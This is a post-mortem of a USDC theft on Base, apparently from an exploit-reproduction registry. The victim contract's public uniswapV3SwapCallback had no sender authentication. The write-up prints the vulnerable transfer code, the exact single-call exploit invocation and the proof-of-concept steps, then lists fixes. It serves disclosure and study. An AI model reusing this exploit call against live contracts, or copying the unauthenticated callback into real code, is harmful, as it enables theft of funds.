BaseCallback `0x8d2e…` Exploit — Unauthenticated `uniswapV3SwapCallback` Self-Transfer

Source & credit. Exploit reproduction, trace data, and analysis adapted from DeFiHackLabs by SunWeb3Sec — an open registry of reproduced on-chain exploits. Standalone Foundry PoC and full write-up: 2025-08-BaseCallback0x8d2e_exp in the evm-hack-registry mirror. Upstream DeFiHackLabs PoC: src/test/…/BaseCallback0x8d2e_exp.sol.

Vulnerability classes: vuln/access-control/missing-auth

Reproduction: isolated Foundry project at this project folder. Verbose run: output.txt.

Key info#


Loss	40,000 USDC (~$40K) held by the vulnerable contract
Vulnerable contract	`0x8d2Ef0d39A438C3601112AE21701819E13c41288` (`0x8d2e…`)
Token	Base USDC `0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913`
Attacker EOA	`0x4EfD5F0749b1b91AFDcD2ECf464210db733150e0`
Attacker contract	`0x2A59Ac31C58327EFCbF83Cc5A52fAE1b24A81440`
Attack tx	`0x6be0c4b5414883a933639c136971026977df4737b061f864a4a04e4bd7f07106`
Chain / block / date	Base / 34,459,414 (fork 34,459,413) / ~Aug 21, 2025
Bug class	Public `uniswapV3SwapCallback` with no pool auth — positive `amount0Delta` causes `token.transfer(recipient, amount)` using attacker-controlled `data`

TL;DR#

Unlike Q12 (approval transferFrom drain), this victim held the USDC itself. Its uniswapV3SwapCallback accepts a call from any msg.sender and, for amount0Delta > 0, does:

TEXT

(token, recipient) = abi.decode(data, (address, address));
IERC20(token).transfer(recipient, uint256(amount0Delta));

The live attacker (via a helper contract) simply called:

SOLIDITY

vuln.uniswapV3SwapCallback(
    40_000e6,
    0,
    abi.encode(USDC, attackContract)
);

No pool spoofing, no prior approval, no flash loan — pure missing access control on the callback.

Attack steps (PoC)#

Fork Base at 34459414 - 1.
Read USDC.balanceOf(vuln) → 40,000e6.
Call uniswapV3SwapCallback(bal, 0, abi.encode(USDC, address(this))).
Receive full 40,000 USDC.

Fix class#

Authenticate msg.sender as the canonical Uniswap V3 pool for the in-flight swap.
Gate transfers behind an in-swap reentrancy lock set only by the contract’s own entrypoints.
Never let callback data freely choose token/recipient for outbound transfers of vault inventory.

Sources#

TenArmorAlert

Sources & further analysis#

Reproductions & code

Standalone PoC + full trace: 2025-08-BaseCallback0x8d2e_exp (evm-hack-registry mirror).
Upstream DeFiHackLabs PoC: BaseCallback0x8d2e_exp.sol.
Attack transaction: view on explorer.

Alerts & third-party analyses

Original alert / thread: post on X.
DeFiHackLabs incident explorer: search "BaseCallback 0x8d2e… Exploit".
Web3Sec X hacked database: search.
Rekt leaderboard: search.
Solodit incident search: search.

These dashboards index community alerts tweets, post-mortems, and independent write-ups. Reach them through the protocol name above to cross-check this reproduction against other analyses.